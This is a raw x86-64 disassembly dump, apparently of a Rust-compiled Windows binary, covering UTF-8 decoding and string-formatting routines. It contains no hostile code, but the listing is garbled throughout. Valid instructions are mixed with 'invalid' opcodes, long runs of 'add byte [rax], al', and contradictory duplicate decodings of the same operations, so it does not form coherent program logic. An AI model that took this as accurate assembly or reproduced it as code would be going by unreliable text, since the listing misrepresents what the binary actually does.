add byte [rcx + 0x800f9], al
add byte [rbx + rcx*4 + 0x5c], cl
and al, 0x50
push rax
push rax
jb 0x1400277ff
cmp ecx, 0x10000
mov r8d, 4
sbb r8, 0
mov r14, r15
sub r14, r8
jbe 0x140027813
cmp byte [r11 + r8], 0xbf
jg 0x140027819
jmp 0x1400297ef
jne 0x1400297ef
cmp ecx, 0x66
sete cl
test al, al
jne case.0x140026946.38
add qword [rsp + 0x50], r8
mov dil, 6
sub dil, cl
mov r8b, 2
jmp case.0x14001bae2.193
mov r8d, 1
cmp ecx, 0x80
jae 0x140027858
mov r11, qword [rsp + 0x50]
jmp 0x14002787b
mov r8d, 2
cmp ecx, 0x800
mov r11, qword [rsp + 0x50]
jb 0x14002787b
cmp ecx, 0x10000
mov r8d, 4
sbb r8, 0
mov r14, r15
sub r14, r8
jbe 0x14002788f
cmp byte [r11 + r8], 0xbf
jg 0x140027895
jne 0x1400297f8
mov r8d, esi
and r8d, 0x1f
and eax, 0x1f
and eax, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x140027905
cmp sil, 0xdf
jbe 0x1400279cc
fisttp word [rdi]
xchg ah, bh
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
add al, byte [r9 - 0x3f]
shl ebx, 6
movzx r9d, byte [rcx + 2]
shl r11d, 6
shl ebx, 6
shl ebx, 6
and r9d, 0x3f
loope 0x14002791c
or r9d, r11d
cmp r10b, 0xf0
jb case.0x14001bae2.180
invalid
or al, 1
add byte [rax], al
fld dword [rcx - 0x80]
cli
invalid
invalid
movzx esi, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
loopne 0x140027908
shl r9d, 6
shl ecx, 6
and esi, 0x3f
or esi, r9d
or esi, r8d
or esi, eax
or esi, eax
cmp esi, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rdi], cl
jne 0x140027a00
test ecx, esi
add byte [rax], al
add cl, ch
invalid
jmp case.0x140026946.38
cmc
sbb al, 0
add byte [rcx - 0x77], al
invalid
loopne 0x14002793a
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
and r11d, 0x3f
cmp sil, 0xdf
jbe 0x1400279d8
add byte [rax], al
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
add al, byte [r9 - 0x3f]
jrcxz 0x14002793d
add byte [rax], al
movzx r9d, byte [rcx + 2]
movzx ecx, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
loope 0x14002797a
invalid
or r9d, r11d
cmp r10b, 0xf0
jb 0x140027a6e
add dword es:[rax], eax
invalid
fld dword [rcx - 0x80]
cli
invalid
add dword es:[rax], eax
add byte [rdi], cl
mov dh, 0x71
add byte [rax], al
movzx esi, byte [rcx + 3]
and r8d, 7
add eax, dword [rcx - 0x7d]
loopne 0x140027957
shl r8d, 0x12
shl r9d, 6
shl ecx, 6
shl ecx, 6
invalid
and esi, 0x3f
or esi, r9d
or esi, r8d
cmp esi, 0x110000
add byte [rcx], dl
add byte [rdi], cl
invalid
test dword [rbx], ecx
jne 0x140027a78
add dword [rax], eax
add cl, ch
xchg edi, eax
jmp case.0x140026946.38
sbb al, 0
add byte [rcx - 0x77], al
invalid
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
and r11d, 0x3f
jrcxz 0x1400279c1
cmp sil, 0xdf
jbe 0x1400279e7
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
cli
invalid
jb 0x140027ae3
add dword [rax], eax
invalid
add al, byte [r9 - 0x3f]
jrcxz 0x140027997
cli
invalid
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x71
jno case.0x14006b385.124
and r8d, 7
and eax, 7
invalid
movzx esi, byte [rcx + 3]
and r8d, 7
and eax, 7
invalid
jno case.0x14006b385.124
invalid
shl r8d, 0x12
shl r9d, 6
and esi, 0x3f
or esi, r9d
or esi, ecx
invalid
or esi, ecx
or esi, r8d
cmp esi, 0x110000
add byte [rdi], cl
test dword [rsi], esp
add dword [rax], eax
add byte [rax], al
jmp case.0x140026946.38
invalid
jne 0x140027aed
add byte [rax], al
jmp case.0x140026946.38
shl r8d, 6
shl eax, 6
or r8d, r11d
mov esi, r8d
mov esi, eax
fadd dword [rcx + rcx*4 - 0x3a]
mov esi, eax
jmp 0x140027a00
sub byte [rcx - 0x3f], al
shl r8d, 6
loopne 0x1400279e2
or r8d, r11d
mov esi, r8d
invalid
invalid
jmp 0x140027a78
shl r8d, 6
loopne 0x1400279f1
or r8d, r11d
mov esi, r8d
invalid
invalid
jmp 0x140027aed
add byte [rax], al
add byte [rcx - 0x3f], al
invalid
invalid
shl r8d, 0xc
loopne 0x140027a06
or r9d, r8d
mov esi, r9d
mov r8d, 1
add byte [rcx + 0x80fe], al
add byte [rbx + 7], dh
jae 0x140027a15
cmp esi, 0x80
jae 0x140027a15
mov rcx, qword [rsp + 0x50]
and al, 0x50
push rax
jmp 0x140027a38
mov r8d, 2
cmp esi, 0x800
add byte [rax], cl
add byte [rax], al
add byte [rax], cl
add byte [rax], al
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
jb 0x140027a38
adc byte [rcx + 0x10000fe], al
add byte [rcx - 0x48], al
invalid
cmp esi, 0x10000
add byte [rax], al
add dword [rax], eax
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x7d], cl
fadd dword [rax]
sbb r8, 0
mov r14, rdx
mov esi, edx
sub r14, r8
jbe case.0x140023efa.162
invalid
cmp byte [rcx + r8], 0xbf
cmp byte [rcx + rax], 0xbf
add dword [rdi - 0x2116f481], edi
sbb eax, 0x850f0000
add byte [rdi], cl
test eax, ebx
sbb eax, 0x14c0000
jg 0x140027a52
jmp 0x14002982a
add byte [rax], al
add byte [rdi], cl
test eax, ebx
sbb eax, 0x14c0000
jne 0x14002982a
add rcx, r8
ror dword [rax - 0x77], 0x4c
and al, 0x50
push rax
mov qword [rsp + 0x50], rcx
push rax
cmp esi, 0x66
sete cl
sete cl
mov dil, 6
sub dil, cl
mov r8b, 0xc
mov al, 0xc
jmp case.0x1400240ea.138
add byte [rcx - 0x3f], al
shl r8d, 0xc
loopne 0x140027a7e
or r9d, r8d
mov esi, r9d
mov r8d, 1
mov eax, 1
add byte [rcx + 0x80fe], al
add byte [rbx + 7], dh
cmp esi, 0x80
jae 0x140027a8d
inc byte [rax + 0x73000000]
invalid
mov rcx, qword [rsp + 0x50]
push rax
jmp 0x140027ab0
mov r8d, 2
add byte [rax], al
cmp esi, 0x800
mov rcx, qword [rsp + 0x50]
add byte [rax - 0x75], cl
and al, 0x50
jb 0x140027ab0
adc byte [rcx + 0x10000fe], al
add byte [rcx - 0x48], al
mov r8d, 4
cmp esi, 0x10000
add dword [rax], eax
mov r8d, 4
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
sbb r8, 0
sbb eax, 0
fadd dword [rax]
mov r14, rdx
mov esi, edx
sub r14, r8
jbe 0x140027ac4
cmp byte [rcx + r8], 0xbf
cmp al, 1
add dword [rdi + 0x7ce90b7f], edi
mov edi, 0x7ce90b7f
jg 0x140027aca
jmp 0x140029840
sbb eax, 0x850f0000
jbe case.0x1400263ce.129
add byte [rax], al
jne 0x140029840
add byte [rax], al
add byte [rcx + rax - 0x3f], cl
add rcx, r8
mov qword [rsp + 0x50], rcx
cmp esi, 0x66
sete cl
xchg esp, eax
invalid
xchg esp, eax
rol dword [rax - 0x49], 6
mov dil, 6
mov dil, 6
mov bh, 6
invalid
sub dil, cl
mov r8b, 0xb
mov al, 0xb
jmp case.0x1400240ea.138
shl r8d, 0xc
loopne 0x140027af3
or r9d, r8d
mov esi, r9d
mov r8d, 1
add byte [rax], al
add byte [rcx + 0x80fe], al
cmp esi, 0x80
jae 0x140027b02
inc byte [rax + 0x73000000]
add byte [rax], 0
add byte [rbx + 7], dh
invalid
mov rcx, qword [rsp + 0x50]
and al, 0x50
and al, 0x50
jmp 0x140027b25
mov r8d, 2
cmp esi, 0x800
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0x50]
and al, 0x50
jb 0x140027b25
cmp esi, 0x10000
inc byte [rax]
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
sbb r8, 0
add byte [rcx - 0x77], cl
invalid
mov r14, rdx
sub r14, r8
sub esi, eax
jbe 0x140027b39
or al, 0x42
cmp byte [rcx + rax], 0xbf
cmp byte [rcx + r8], 0xbf
jg 0x140027b3f
jmp 0x140029856
sbb eax, 0xf00001d
sbb eax, 0x850f0000
invalid
add byte [rdi], cl
jne 0x140029856
test dword [rdi], edx
sbb eax, 0x14c0000
add byte [rax], al
add rcx, r8
invalid
invalid
invalid
add byte [rax], al
add rcx, r8
add ecx, eax
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
and al, 0x50
and al, 0x50
cmp esi, 0x66
sete cl
invalid
sete cl
rol dword [rax - 0x49], 6
mov dil, 6
mov bh, 6
sub dil, cl
mov r8b, 0xd
mov al, 0xd
mov al, 0xd
test al, al
jne case.0x140026946.38
test dword [rbx - 0x41ffffe6], ebp
mov esi, 1
add dword [rax], eax
add byte [rax], al
xor r13d, r13d
xor ebp, ebp
movzx eax, dil
mov dh, 0xc7
lea rcx, [0x1400ef4f4]
or eax, 0xc7983
cmp dword [rcx + 0xc], 0
jns 0x140027b7c
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne 0x140027b64
jmp 0x14002639f
and al, ch
invalid
call 0xcb4f7b80
jl 0x140027ba7
mov r15, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
xor cl, ch
jmp 0x1400264a1
sbb cl, ch
invalid
jmp 0x142bd7b8a
invalid
mov edx, 2
add al, byte [rax]
add byte [rax], al
movzx eax, r8b
lea rcx, [0x1400ef510]
or eax, 0xc7977
or al, 0
movsxd r8, dword [rcx + rax*4]
add al, 0x81
or dword [rcx + 1], 0x848b48c8
and al, 0x38
invalid
add r8, rcx
mov rax, qword [rsp + 0x138]
test byte [rax + rdi], ah
add dword [rax], eax
invalid
test byte [rax + rdi], ah
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0xcc248c], cl
add byte [rax], al
invalid
mov ecx, dword [rsp + 0xcc]
mov word [rsp + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x140027bd7
mov rdi, qword [rsp + 0x30]
and al, 0x30
xor byte [rcx - 1], al
loopne 0x140027b43
invalid
jmp r8
jmp rax
mov ecx, dword [rsp + 0xcc]
mov word [rsp + rcx*8], fs
and al, 0xcc
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf0
add byte [rax], al
add byte [rax], al
call fcn.140040e30
add byte [rax], al
mov rdx, qword [rsp + 0xf0]
add byte [rax], al
call fcn.140040e30
mov ecx, eax
sar ecx, 0xa
stc
invalid
stc
or cl, byte [rax + 0x63]
ror dword [rax - 0x39], 0x84
invalid
test byte [rax + rax*2], ah
movsxd rax, ecx
mov qword [rsp + 0x140], 4
mov dword [rsp + 0x140], 4
mov dword [rsp + 0x140], 4
test byte [rax + rax*2], ah
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add al, 0
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [0x14002a2fb], bh
invalid
invalid
add byte [rax], al
invalid
mov qword [rsp + 0xf8], rax
cmp eax, 0x270f
invalid
invalid
add byte [rax], al
invalid
invalid
add byte [rdi], cl
xchg byte [rsi + 2], ah
jbe 0x140027e58
add byte [rax], al
test sil, sil
lea rdx, [0x1400b11a0]
movsb byte [rdi], byte [rsi]
xchg ebp, eax
or byte [rax], al
movsb byte [rdi], byte [rsi]
xchg ebp, eax
or byte [rax], al
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x30], rdi
and al, 0x30
and al, 0x30
je 0x140027fe1
add eax, dword [rax]
add byte [rax + 0xf], al
movzx eax, sil
movzx eax, sil
mov byte [rbx - 0x7af0fd08], 0x83
cmp eax, 2
jne 0x14002809c
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
and al, 0x58
and al, 0x58
mov qword [rsp + 0x58], 5
and al, 0x58
add eax, 0x48000000
lea eax, [rsp + 0xf8]
and al, 0xf8
add byte [rax], al
invalid
add byte [rax], al
lea rax, [rsp + 0xf8]
and al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsp + 0xd0], rax
lea rax, [0x140049e10]
add eax, 0x221d7
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x221d7
mov qword [rsp + 0xd8], rax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x58]
add byte [rax], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
lea rax, [0x140041650]
add eax, 0x199fb
mov qword [rsp + 0xe8], rax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
invalid
invalid
and byte [rax], al
movabs rax, 0x100000020
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x140027ef7
add byte [rax], al
mov rax, qword [rsp + 0x248]
jmp case.0x14002632d.1
add al, byte [rax]
add cl, ch
lahf
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x258]
jmp case.0x14002632d.1
mov ecx, dword [rsp + 0xcc]
mov rax, qword [rsp + 0x258]
mov eax, dword [rsp + 0x258]
jmp case.0x14002632d.1
add byte [rax], al
mov ecx, dword [rsp + 0xcc]
mov rdx, qword [rsp + 0xf0]
call fcn.140040e30
xchg ecx, eax
add dword [rax], eax
xchg ecx, eax
add dword [rax], eax
sar eax, 0xa
cdqe
imul rcx, rax, 0x51eb851f
jmp 0x140027d27
mov rdx, rcx
shr rdx, 0x3f
jmp 0x140027d27
sar rcx, 0x25
add ecx, edx
imul edx, ecx, 0x64
sub eax, edx
sar eax, 0x1f
add eax, ecx
cdqe
mov edx, 2
jmp case.0x14002632d.1
mov edx, 1
mov rax, qword [rsp + 0x230]
and al, 0x30
add al, byte [rax]
add cl, ch
invalid
add dword [rax], eax
invalid
and al, 0x30
add al, byte [rax]
add cl, ch
cmp eax, 0xba000001
mov edx, 1
mov edx, 1
mov rax, qword [rsp + 0x218]
jmp case.0x14002632d.1
mov ecx, dword [rsp + 0xcc]
mov rdx, qword [rsp + 0xf0]
call fcn.140040e30
sar eax, 0xa
cdqe
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf0
add byte [rax], al
add al, ch
call qword [rax - 0x73effff]
or cl, byte [rax - 0x68]
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul ecx, ecx, 0x64
sub eax, ecx
movsxd rcx, eax
lea rax, [rcx + 0x64]
test ecx, ecx
cmovns rax, rcx
mov edx, 2
jmp case.0x14002632d.1
mov rcx, qword [rsp + 0xf0]
cmp ecx, 0x16e7
ja 0x140027e37
mov rax, qword [rsp + 0x120]
lea r8, [0x1400b1c36]
and al, 0x20
add dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
lodsd eax, dword [rsi]
sahf
or byte [rax], al
movzx eax, byte [rax + r8]
lea eax, [rcx + rax*8]
shr eax, 9
jmp case.0x14002632d.1
cmp dword [rsp + 0xf0], 0x16e7
ja 0x140027e37
mov rax, qword [rsp + 0x120]
lea rcx, [0x1400b1c36]
or eax, 0x89e7d
or eax, 0x89e7d
add byte [rdi], cl
mov dh, 4
or byte [rax - 0x75], cl
mov ecx, dword [rsp + 0x128]
lea eax, [rcx + rax*8]
shr eax, 4
and eax, 0x1f
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x128]
mov ecx, dword [rsp + 0x128]
mov ecx, dword [rsp + 0x128]
lea eax, [rcx + rax*8]
shr eax, 4
and eax, 0x1f
jmp case.0x14002632d.1
mov rax, qword [rsp + 0x220]
jmp case.0x14002632d.1
mov rax, qword [rsp + 0x260]
jmp case.0x14002632d.1
mov ecx, dword [rsp + 0xcc]
add byte [rax], al
mov rdx, qword [rsp + 0xf0]
call fcn.140040e30
xchg esp, eax
and al, 0xf0
add byte [rax], al
add al, ch
cmp byte [rax - 0x173effff], dl
shr eax, 4
and eax, 0x3f
shr eax, 4
and eax, 0x3f
mov edx, 2
jmp case.0x14002632d.1
add bl, ch
mov r10d, 3
mov edx, 3
mov edx, 3
mov rax, qword [rsp + 0x1e8]
jmp case.0x14002632d.1
test byte [rax + rbp*8], ah
add dword [rax], eax
add bl, ch
xor al, 0x48
mov rax, qword [rsp + 0x240]
mov rax, qword [rsp + 0x240]
add al, byte [rax]
add bl, ch
sub cl, byte [rax - 0x75]
invalid
invalid
test byte [rax + rdx*2], ah
add al, byte [rax]
invalid
jmp case.0x14002632d.1
mov rax, qword [rsp + 0x250]
mov eax, dword [rsp + 0x250]
add byte [rax], al
add bl, ch
and byte [rdx + 9], bh
mov edx, 9
jmp case.0x14002632d.1
mov edx, 9
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add dword [rax], eax
mov rax, qword [rsp + 0x150]
mov eax, dword [rsp + 0x150]
add bl, ch
adc dword [rcx], esi
shr bl, 0xd
jmp case.0x14002632d.1
xor eax, eax
jmp case.0x14002632d.1
mov edx, 1
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x228]
invalid
invalid
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x140], rdx
xchg esp, eax
and al, 0x40
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0xf8], rax
lea rdx, [0x1400b11a0]
mov qword [rsp + 0xf8], rax
lea rdx, [0x1400b11a0]
xchg ebx, eax
or byte [rax], al
invalid
add byte [rax - 0x73], cl
and al, 0x38
lea rcx, [rsp + 0x38]
test sil, sil
test dh, dh
test byte [rax - 0x77], 0x7c
and al, 0x30
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x30], edi
je 0x1400260cd
movzx eax, sil
movzx eax, dh
mov dh, 0xc6
cmp eax, 1
jne 0x140027f01
invalid
invalid
add byte [rax], al
invalid
test dword [rdx + 0x48000000], eax
lea eax, [rsp + 0xf8]
test byte [rax + rdi*8], ah
add byte [rax], al
invalid
invalid
add byte [rax - 0x73], cl
lea rax, [rsp + 0xf8]
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x21f7a
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd0], eax
lea rax, [0x140049e10]
add al, byte [rax]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0xd8], eax
add byte [rax - 0x73], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xe0], rax
invalid
invalid
lea rax, [rsp + 0x140]
add byte [rax], al
mov qword [rsp + 0xe0], rax
lea rax, [0x140041650]
lea eax, [0x140041650]
add eax, 0x1979b
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x90], 2
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rcx], al
mov qword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 0
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
invalid
add byte [rax], al
movabs rax, 0x800000020
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xb8], eax
jmp 0x140027f7b
lea rax, [rsp + 0xf8]
mov qword [rsp + 0xd0], rax
add byte [rax], al
invalid
test byte [rax + rdi*8], ah
and al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x21ef8
clc
invalid
add al, byte [rax]
add byte [rax], al
lea rax, [0x140049e10]
clc
invalid
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0xe0], rax
test byte [rax + riz*8], ah
add byte [rax], al
invalid
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x140041650]
lea rax, [0x140041650]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xe8], eax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
mov qword [rsp + 0x90], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
and al, 0xa8
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0xa8], 1
and al, 0xa8
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
and al, 0xa8
test al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
invalid
invalid
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0x20
add byte [rax], ah
add byte [rax], al
invalid
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax*8], ah
and al, 0xc0
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc0], 3
and al, 0xc0
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add ecx, dword [rax - 0x73]
add eax, 0xc4fd6
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
and al, 0x60
mov qword [rsp + 0x68], 1
add byte [rax], al
lea rax, [rsp + 0x90]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0xd0]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x60]
and al, 0x60
call fcn.140042240
test al, al
je 0x140026140
jmp case.0x140026946.38
lea rax, [rsp + 0xf8]
mov qword [rsp + 0xd0], rax
lea rax, [0x140049e10]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 2
mov qword [rsp + 0xb0], 0
movabs rax, 0x100000020
mov qword [rsp + 0xb8], rax
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rbx], al
mov byte [rsp + 0xc0], 3
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], 1
lea r8, [rsp + 0x60]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
call fcn.140042240
test al, al
je 0x140026140
jmp case.0x140026946.38
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0xf8]
add eax, 0x48000000
lea eax, [rsp + 0xf8]
add byte [rax - 0x73], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x21d54
mov qword [rsp + 0xd0], rax
lea rax, [0x140049e10]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0xd8], eax
fadd dword [rax]
add byte [rax], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
lea rax, [0x140041650]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xe8], eax
mov qword [rsp + 0x90], 2
mov qword [rsp + 0xa0], 1
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
nop
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 0
invalid
invalid
and byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xa8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xb0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs rax, 0x900000020
mov eax, 0x20
add byte [rax], al
or dword [rax], eax
add byte [rax], al
jmp 0x140027ef7
inc dword [rcx - 0x73]
cld
lea eax, [r8 - 4]
movzx ecx, al
cmp cl, 0x13
enter 0xfffffffffffff980, 0x13
mov eax, 0x13
cmovb eax, ecx
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
and eax, 0x48000c74
je 0x140028146
add byte [rax + 0x63], cl
or al, 0x8a
add byte [rdi], cl
ror dword [rdi], 0xb6
ror dword [rdi], 0xb6
ror dword [rdi], 0xb6
enter 0xffffffffffff8d48, 0x15
and eax, 0x48000c74
je 0x140028146
add byte [rax + 0x63], cl
je 0x140028146
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
jmp rcx
sar edi, 1
loope 0x14002818d
invalid
cmp qword [rsp + 0x100], 0
cmp dword [rsp + 0x100], 0
mov esp, 0x10024
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rsi + 0x3c000014], dh
adc al, 0
invalid
invalid
je case.0x140026946.38
adc al, 0
add byte [rax + rdx], bh
invalid
add byte [rax], al
cmp al, 0x10
adc dh, al
test byte [rcx + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0x91], 2
add byte [rax], al
add cl, byte [rdi]
xchg esp, eax
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rdx + rdx*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rcx], eax
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea rdx, [rsp + 0x38]
sete byte [rsp + 0x90]
mov word [rsp + 0x92], 0x101
add dword [rcx], eax
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea rdx, [rsp + 0x38]
xor r8d, r8d
call fcn.140015350
sar esi, 1
inc dword [rax + rax*8 - 0x204b7bf1]
mov ah, 0xdf
invalid
invalid
sar esi, 1
inc dword [rax + rax*8 - 0x204b7bf1]
mov ah, 0xdf
mov ah, 0xdf
invalid
jmp case.0x140026946.38
js 0x1400281a3
add byte [rax], al
mov esi, 0x110003
mov rbx, qword [rsp + 0x288]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
xor r12d, r12d
jmp 0x1400281cc
in al, 0xeb
sub dword [rsi + 0x66], esp
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
